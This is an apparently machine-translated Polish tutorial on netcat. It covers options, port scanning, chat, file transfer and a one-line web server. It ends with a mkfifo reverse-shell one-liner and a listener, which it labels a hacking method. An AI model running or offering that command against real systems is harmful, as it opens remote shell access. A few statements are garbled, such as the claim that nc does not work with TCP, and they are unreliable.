Polecenie netcat
jest niezbędne do wysyłania i odbierania danych przy użyciu protokołów TCP i UDP. Nie posiada ono dużego zestawu funkcji, ale jest wystarczające do sprawdzania połączeń i prostego debugowania. Jak komunikować się za pomocą protokołu TCP? To pytanie jest zadawane przez wielu użytkowników. W tym artykule odpowiemy na to pytanie, a także pokażemy przykłady rzeczywistego zastosowania polecenia.
Polecenie netcat
(lub nc
) jest potężnym narzędziem do pracy z połączeniami sieciowymi. Jest często używane przez administratorów systemów i programistów do różnych zadań. Oto główne funkcje i cechy netcat
:
netcat
jest wszechstronnym narzędziem, które może być używane w wielu różnych scenariuszach, od prostego przesyłania wiadomości po złożone operacje sieciowe.
Zacznijmy od przyjrzenia się składni i najpopularniejszym z nich:
-6
- użycie protokołu IPv6. Domyślnie jest to odpowiednio -4 i IPv4;-h
- wyświetla pomoc z listą dostępnych parametrów;-i
- delay - dodaje opóźnienie pomiędzy wysyłaniem ciągów znaków lub skanowaniem portów. Jest ono ustawiane w sekundach;-l
- tryb nasłuchiwania. Używany ze specyfikacją portu;-N
- zamyka połączenie po osiągnięciu końca pliku podczas wysyłania;-n
- praca bezpośrednio z adresami IP bez DNS, wyłącza również skanowanie portów;-P
- user_name - określa nazwę użytkownika do połączenia z proxy;-x
- address:port - określa adres i port do połączenia z serwerem proxy;-p
- port - określa numer portu. W większości przypadków port jest odczytywany bez podawania parametru;-U
- użycie gniazda domeny UNIX (do komunikacji międzyprocesowej);-u
- użycie protokołu UDP, domyślnie używany jest TCP;-v
- tryb szczegółowy. Używane podczas skanowania;-W
number_packets - zamyka połączenie po otrzymaniu określonej liczby pakietów;-w
timer - włączenie timera w celu ograniczenia czasu połączenia. Jest on ustawiany w sekundach;-z
- wyłączenie wysyłania danych. Używane podczas skanowania.Polecenie ma następującą postać (parametry adres portu):
$ nc
Następnie powiemy, jak używać tego polecenia.
Sprawdzanie jest głównym zastosowaniem netcat
. Należy użyć dwóch parametrów -vz
, określić adres i port. Można określić zakres adresów, ale w tym przypadku lepiej jest przesiać tylko otwarte porty za pomocą poleceniagrep
. Przeskanujmy porty lokalnego adresu sieciowego:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
W ten sam sposób przeskanujmy porty UDP, dodając parametr -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Powinieneś znać główną różnicę między TCP i UDP. Tak więc w UDP porty są zawsze dostępne.
Parametr -l
jest przeznaczony do nasłuchiwania portu. Często jest to wystarczające, ale można włączyć tryb szczegółowy:
$ nc -nlv 8080
Należy pamiętać, że podczas korzystania z protokołu TCP port musi być wolny, w przeciwnym razie pojawi się błąd Już w użyciu. Nie wszystkie porty mogą być używane przez zwykłych użytkowników, na przykład port 80 (HTTP), najprawdopodobniej będzie zajęty przez inny proces i będzie wymagał uprawnień superużytkownika.
Przydatną funkcją polecenia jest wymiana danych. Prostym przykładem jest czat tekstowy. Aby rozpocząć czat na jednym komputerze, należy uruchomić narzędzie w trybie nasłuchiwania portu:
$ nc -lp 8080
Na drugim komputerze należy podać adres pierwszego komputera i ten sam port. Nie zapomnij również sprawdzić, czy port jest otwarty:
$ nc 0.0.0.0 8080
W ten sposób będziesz mógł wysyłać i odbierać wiadomości. Oznacza to, że polecenie jest przeznaczone do wymiany plików. Zasada jest taka sama, z tym wyjątkiem, że konieczne jest przekierowanie danych wyjściowych do pliku, a mianowicie paste.txt:
$ nc -l 8080 > paste.txt
Na drugim komputerze plik copy.txt
będzie służył jako dane wejściowe. Użycie parametru -N
do zamknięcia połączenia po przesłaniu pliku nie jest zbyteczne:
$ nc -N 0.0.0.0 8080 < copy.txt
W przypadku przesyłania plików ważne jest, aby postępować zgodnie z sekwencją, najpierw otworzyć nasłuchiwanie, a dopiero potem wysłać plik. Polecenie nc jest działającym, ale dalekim od najlepszego sposobem przesyłania plików. Istnieją bardziej wydajne i użyteczne narzędzia do tego zadania.
Ponieważ polecenie NC nie działa z protokołem TCP, umożliwia ono zarówno wysyłanie, jak i odbieranie żądań HTTP. Dzięki temu narzędzie to może stać się prostym serwerem WWW. Owszem, nie da się w ten sposób zrobić nic bardziej skomplikowanego niż pusta strona, ale operacja nie zajmie prawie żadnego czasu, a plusem jest to, że nie trzeba instalować niczego dodatkowego.
Na przykładzie formularz odpowiedzi HTTP z plikiem index.html.
Mówiąc o samym np, dobrym pomysłem jest ustawienie timera z parametrem -w 1
, aby przerwać połączenie, jeśli przeglądarka tego nie zrobi:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Aby uzyskać dane ze strony internetowej, można utworzyć żądanie i wysłać je na wskazany adres i port. Ten sposób jest jednak dość skomplikowany, lepiej jest użyć odpowiedniego polecenia CURL.
Na podstawie omówionych powyżej przykładów nietrudno dojść do wniosku, że polecenie to pozwala zorganizować zdalny dostęp do powłoki komputera. Wcześniej narzędzie NC posiadało kilka parametrów otwierających dostęp do terminala. Parametr -e
został usunięty z narzędzia dawno temu, więc nie będzie już prostego dostępu do terminala. Bezpieczeństwo samej aplikacji stało się wyższe, ale nadal może ona działać w połączeniu z innymi.
Pokażmy połączenie przy użyciu nazwanego kanału mkfifo. Przede wszystkim zacznijmy nasłuchiwać portu na komputerze, do którego uzyskamy dostęp:
$ nc -lvnp 8080
Przejdźmy bezpośrednio do polecenia otwarcia terminala. Najpierw usuń stary nazwany kanał(rm /tmp/f
), utwórz nowy w jego miejsce(mkfifo /tmp/f
), odczytaj jego zawartość(cat /tmp/f
) i wyślij polecenie powłoki na jego wyjście(sh -i 2>&1
). Następnie pozostaje uruchomić nc z wyjściem do naszego nazwanego kanału(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Należy pamiętać, że jest to jeden ze sposobów hakowania, jednak może być przydatny w przypadku problemów z ssh
. Aby zapobiec atakowi, należy skonfigurować politykę bezpieczeństwa i zaporę sieciową.